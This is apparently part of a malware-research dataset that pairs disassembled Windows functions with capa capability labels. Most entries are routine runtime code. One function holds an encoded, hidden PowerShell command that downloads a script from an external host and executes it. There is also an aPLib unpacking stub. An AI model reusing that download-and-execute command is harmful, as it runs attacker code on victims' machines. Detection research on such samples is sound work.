joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001c84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cce
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cd0
xor al, al
add rsp, 0x28
ret
Function at 0x6d8af5b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8d05e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8af738
mov rax, qword [0x6d8d05e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8af5fc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8af685
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8af5e0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8af76d
mov rax, qword [0x6d8d05e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8d05e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8af750
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8af67e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8af6e0
add dword [0x6d8d05e4], 1
cmp edi, 8
jae 0x6d8af6b3
test dil, 4
jne 0x6d8af724
test edi, edi
je 0x6d8af6a8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8af73f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8af6a8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8af6cc
jmp 0x6d8af6a8
add rsi, qword [0x6d8d05e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8af67e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8af6a8
xor esi, esi
jmp 0x6d8af607
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8af6a8
mov rax, qword [0x6d8d05e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8afec0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8d08c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8d08a0]
test rbx, rbx
je 0x6d8aff14
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8aff0b
test rsi, rsi
je 0x6d8aff0b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8afef0
lea rcx, [0x6d8d08c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8b0150
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8b0160
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8b0170
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8b01b1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8b01a8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8b01b3
add rax, 0x28
cmp rax, r9
jne 0x6d8b0194
xor eax, eax
ret

Function at 0x6d8b0250
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8cd1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8b02bd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b02bd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8b02bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8b02b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8b02bf
add rax, 0x28
cmp rax, r9
jne 0x6d8b02a0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8b03c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8cd1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8b03e0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b03d8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8b043d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8b0434
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8b0444
add rax, 0x28
cmp rax, r9
jne 0x6d8b0420
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8b0460
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8cd1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8b04ce
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b04ce
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8b04ce
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8b04ce
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8b04c5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8b04d5
add rcx, 0x28
cmp rcx, rax
jne 0x6d8b04b0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8b04e8
jmp 0x6d8b04ce
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8b04f6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8b04ce
test r9d, r9d
jg 0x6d8b04e0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8b0860
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140009038
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rbx + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x14000905c
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rbx
jne 0x1400090b3
cmp qword [rcx + rdx*8], rbx
jne 0x1400090a8
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400090ac
mov rax, qword [rbx + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400090c0
cmp qword [rcx + rdx*8], rbx
jne 0x1400090c0
mov rax, qword [rbx]
mov qword [rcx + rdx*8], rax
mov rax, qword [rbx + 8]
mov rdi, qword [rbx]
mov qword [rax], rdi
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov rdx, qword [rbx + 0x30]
cmp rdx, 8
jb 0x1400090f5
mov rcx, qword [rbx + 0x18]
inc rdx
mov r8d, 2
call fcn.1400020a4
mov edx, 1
mov rcx, rbx
lea r8d, [rdx + 0x37]
call fcn.1400020a4
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov qword [rsi], rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b51c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_1.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400148a0], eax
call fcn.14000b2a4
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
cmp dword [0x1400148a0], 0
jne case.default.0x14000b572
mov ecx, 1
call fcn.14000b2a4
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
adc dword [rax - 0x48c98013], edi
xchg edi, eax
jae 0x1400209fd
pop rsi
jge 0x140020a4c
add al, 0x5d
pop rdi
invalid
add edi, dword [rdi + 0x7bf0a2fb]
add dword [rax + 0x4cd1133a], eax
lahf
cld
out 0x94, al
test eax, 0x922517a8
stc
stosb byte [rdi], al
test qword [r11], r10
cmp eax, 0x76fcc3e1
pop rcx
invalid
jmp 0x15f8781ef
test rax, 0xffffffffbf98e9fb
loopne 0x140020a3d
mov ebp, 0xb817acf1
in al, 0x7a
popfq
in al, dx
add ebx, dword [rbp + 0x42]
add bh, byte [rax + riz*4]
cmp dword [rbp - 7], edi
mov esi, 0x5eb907ce
pop rax
xchg edi, eax
jbe 0x140020a44
fisttp word [rdx + 0x63]
rol byte [rax + rdx*2 - 0x7cbce094], 1
and dword [rsi - 0x26], 0xd83eeae2
jnp 0x140020ae8
retf
invalid
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004410]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004420]
mov dword [rax], 1
mov rax, qword [0x140004430]
mov dword [rax], 1
mov rax, qword [0x1400043b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004400]
mov dword [0x140007020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400044d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004360]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001530
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
call dbg.__main
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 4], 0
jmp 0x1400015c6
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.Notepad.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 9
jle 0x140001567
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xe0
pop rbp
ret

Function at 0x140001960
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002330
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000237d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002374
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000237f
add rax, 0x28
cmp rax, r9
jne 0x140002360
xor eax, eax
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002410
mov rdx, qword [0x1400043b0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400023fe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400023fe
cmp word [rax + 0x18], 0x20b
jne 0x1400023fe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002410
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400023e9
add rbx, 0x28
cmp rbx, rdi
je 0x140002410
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400023e0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002420
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002440
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002448
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002440
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000249d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002494
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002440
add rax, 0x28
cmp rax, r9
jne 0x140002480
xor eax, eax
ret

Function at 0x1400024a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400024e0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043b0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002500
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002508
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002500
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002550
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002547
test rcx, rcx
je 0x140002500
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002538
xor eax, eax
ret
Function at 0x140002560
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000257f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002588
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025c0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400025c0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002614
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002620
add rdx, 0x28
cmp r9, rdx
jne 0x140002600
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002630
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002652
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002660
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002652
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002652
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002652
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400026b5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026c8
add rdx, 0x28
cmp rdx, r10
jne 0x1400026a0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400026d7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400026e7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026be
test ecx, ecx
jg 0x1400026d0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0xcd8058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xcd81df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0xcd8089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xcd806f
add dl, dl
jne 0xcd8096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xcd80f6
xor eax, eax
add dl, dl
jne 0xcd80a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xcd81ad
add dl, dl
jne 0xcd80b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcd80c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcd80d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcd80dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0xcd80ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0xcd807e
mov eax, 1
add dl, dl
jne 0xcd8106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcd8113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xcd80fb
sub eax, ebx
mov ebx, 1
jne 0xcd814c
mov ecx, 1
add dl, dl
jne 0xcd812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xcd813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xcd8123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xcd807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xcd8168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xcd8175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xcd815d
cmp eax, 0x7d00
jae 0xcd819b
cmp eax, 0x500
jb 0xcd8196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xcd807e
cmp eax, 0x7f
ja 0xcd819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xcd807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0xcd81d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0xcd807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001020
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub rsp, 0x28
cmp edx, 1
je 0x180001033
mov eax, 1
add rsp, 0x28
ret
lea rcx, str.cmd.exe__c_start__min____powershell.exe__WindowStyle_hidden__NoLogo__NoProfile__ExecutionPolicy_bypass__EncodedCommand_JABvAG8AcwB5AHcAYwBtAHQAZgBkAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBkAEgAQgB6AE8AaQA4AHYAYgBYAGwAawBZAFgAUgBoAGUAWABoAHUAYQBIAHAAagBjAHkANQAwAFoAVwBOAG8ATAAyAFoAcABiAEcAVQB2AGMASABNAHYATwBUAE0ANABOAEcAUQAzAE0AegBFAHcAWgBEAFUAeABPAEQASQAzAE8AVwBKAG0AWgBXAEYAagBOAFcATgBtAE4AVABjADIATQBUAFoAaABZAHoATQB1AGEAbgBCAG4AIgApACkAOwAKACQAdwBmAHYAdwBtAGgAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAGEASABRAD0AIgApACkAOwAKACQAdQByAGkAIAA9ACAAKAAkAHcAZgB2AHcAbQBoACAAKwAgACQAbwBvAHMAeQB3AGMAbQB0AGYAZAApADsACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAOwAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkACgB7AAoACQB0AHIAeQB7AAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAGMAbwBuAHQAZQBuAHQAOwAKAAkACQBiAHIAZQBhAGsAOwAKAAkAfQAKAAkAYwBhAHQAYwBoAAoACQB7AAoACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsACgAJAH0ACgB9AAoA
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140005f18
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001d1d0]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140006200
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140006190
xor edx, edx
mov rcx, rax
